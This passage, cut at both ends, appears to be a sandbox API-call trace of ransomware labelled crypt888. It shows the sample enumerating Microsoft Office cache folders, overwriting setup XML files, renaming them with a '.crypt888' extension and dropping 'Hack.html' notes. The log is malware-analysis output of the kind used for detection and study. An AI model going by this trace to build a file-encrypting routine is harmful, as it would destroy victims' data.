ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9adac20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0067.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.915] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.crypt888")) returned 1 [0067.916] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.917] GetFileType (hFile=0x258) returned 0x1 [0067.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.917] GetFileType (hFile=0x258) returned 0x1 [0067.917] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x2488 [0067.917] ReadFile (in: hFile=0x258, lpBuffer=0x27d2240, nNumberOfBytesToRead=0x2488, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27d2240*, lpNumberOfBytesRead=0x39ed58*=0x2488, lpOverlapped=0x0) returned 1 [0067.943] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.943] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.944] GetFileType (hFile=0x258) returned 0x1 [0067.944] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.944] GetFileType (hFile=0x258) returned 0x1 [0067.944] WriteFile (in: hFile=0x258, lpBuffer=0x282a6d4*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x282a6d4*, lpNumberOfBytesWritten=0x39ed48*=0x2490, lpOverlapped=0x0) returned 1 [0067.946] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.946] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.946] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.946] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9b26ee0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2490)) returned 1 [0067.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.946] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.947] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", lpFilePart=0x0) returned 0x43 [0067.947] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpFilePart=0x0) returned 0x44 [0067.947] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1a8 [0067.948] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.949] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.949] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.949] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0067.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0067.949] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033", lpFilePart=0x0) returned 0x43 [0067.949] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\", lpFilePart=0x0) returned 0x44 [0067.949] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1a8 [0067.949] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.950] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0067.950] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0067.950] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0067.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0067.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0067.950] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Hack.html", lpFilePart=0x0) returned 0x4d [0067.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0067.950] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.952] GetFileType (hFile=0x258) returned 0x1 [0067.952] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0067.952] GetFileType (hFile=0x258) returned 0x1 [0067.952] WriteFile (in: hFile=0x258, lpBuffer=0x2830250*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x2830250*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0067.953] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.953] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.954] GetFileType (hFile=0x258) returned 0x1 [0067.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.954] GetFileType (hFile=0x258) returned 0x1 [0067.954] WriteFile (in: hFile=0x258, lpBuffer=0x2832a78*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2832a78*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.955] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.955] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.955] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1a8 [0067.968] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.968] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.968] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.968] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.968] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.968] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.969] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0067.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.969] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.970] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.970] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.970] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1a8 [0067.971] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.971] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.971] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.971] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.973] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.973] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.973] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0067.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.974] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.974] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0067.974] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.974] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.975] GetFileType (hFile=0x258) returned 0x1 [0067.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.975] GetFileType (hFile=0x258) returned 0x1 [0067.975] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x333 [0067.975] ReadFile (in: hFile=0x258, lpBuffer=0x2836490, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2836490*, lpNumberOfBytesRead=0x39ed58*=0x333, lpOverlapped=0x0) returned 1 [0067.996] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0067.996] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.996] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.997] GetFileType (hFile=0x258) returned 0x1 [0067.997] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.997] GetFileType (hFile=0x258) returned 0x1 [0067.997] WriteFile (in: hFile=0x258, lpBuffer=0x28853e8*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x28853e8*, lpNumberOfBytesWritten=0x39ed1c*=0x340, lpOverlapped=0x0) returned 1 [0067.999] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml", lpFilePart=0x0) returned 0x4f [0067.999] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.crypt888", lpFilePart=0x0) returned 0x58 [0067.999] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.999] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9b99300, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x340)) returned 1 [0067.999] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.999] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.crypt888")) returned 1 [0068.000] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.000] GetFileType (hFile=0x258) returned 0x1 [0068.000] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.000] GetFileType (hFile=0x258) returned 0x1 [0068.000] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xa40 [0068.000] ReadFile (in: hFile=0x258, lpBuffer=0x28871a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x28871a0*, lpNumberOfBytesRead=0x39ed58*=0xa40, lpOverlapped=0x0) returned 1 [0068.078] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.078] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.078] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.079] GetFileType (hFile=0x258) returned 0x1 [0068.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.079] GetFileType (hFile=0x258) returned 0x1 [0068.079] WriteFile (in: hFile=0x258, lpBuffer=0x26d0d60*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x26d0d60*, lpNumberOfBytesWritten=0x39ed1c*=0xa50, lpOverlapped=0x0) returned 1 [0068.080] CloseHandle (hObject=0x258) returned 1 [0068.080] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0068.081] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0068.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.081] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9c7db40, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xa50)) returned 1 [0068.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.081] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0068.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.081] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpFilePart=0x0) returned 0x4b [0068.081] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpFilePart=0x0) returned 0x4c [0068.081] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1e8 [0068.095] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.095] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.096] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.096] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.096] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.096] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.096] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0068.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0068.097] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us", lpFilePart=0x0) returned 0x4b [0068.097] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All 